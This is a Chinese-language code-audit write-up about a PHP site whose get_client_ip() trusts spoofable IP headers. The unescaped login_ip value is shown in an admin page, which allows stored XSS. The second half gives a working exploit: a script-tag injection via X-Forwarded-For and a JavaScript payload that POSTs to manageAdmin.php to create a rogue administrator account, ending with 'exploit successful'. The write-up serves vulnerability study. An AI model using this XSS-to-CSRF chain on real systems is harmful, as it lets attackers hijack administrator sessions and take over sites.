在sys/libphp中
1 function get_client_ip(){ 2 if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){ 3 $ip = $_SERVER["HTTP_CLIENT_IP"]; 4 }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ 5 $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; 6 }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ 7 $ip = $_SERVER["REMOTE_ADDR"]; 8 }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){ 9 $ip = $_SERVER['REMOTE_ADDR'];10 }else{11 $ip = "unknown";12 }13 return($ip);14 }
在代码段中发现服务器在$_SERVER["HTTP_CLIENT_IP"] 中获取了客户端的ip,然后搜索这个自定义的函数 get_client_ip()看获取iP后,有没有对ip进行过滤。直接将其
带入了数据库,并更新数据库!
1
在14行发现只是用sqlwaf()函数对获取的ip进行了过滤。而sqlwaf在前面已经看过只是对sql语句进行了转移,而没有对xss的实体字符进行转义
发现login_ip的长度限制为255,所以可以尽情地xss不用考虑长度问题。
在manageUser.php中,发现将login_ip直接输出了出来。由此可以看出XSS可以利用。
在用户登录时 修改x-forwarded-for 然后查看数据库发现
对包裹http的双引号进行了转义所以可以 直接把 <script src="http://127.0.0.1/post.js"></script> 直接改成<script src=http://127.0.0.1/post.js></script>他在浏览器加载的时候会自动生成双引号包裹
构造payload:
1 (function(){ 2 var xmlHttp; 3 try{ 4 xmlHttp= new XMLHttpRequest(); 5 }catch(e){ 6 try{ 7 xmlHttp =new ActiveXObject('Msxm12.XMLHTTP'); 8 }catch(e){ 9 try{10 xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');11 }catch(e){12 }13 }14 }15 xmlHttp.open("POST","http://127.0.0.1/admin/manageAdmin.php",true);16 xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');17 xmlHttp.send('username=xsscsrf&password=123456'|| null);18 })();
在管理员查看用户信息时被添加账号 xsscsrf管理员账号!
利用成功!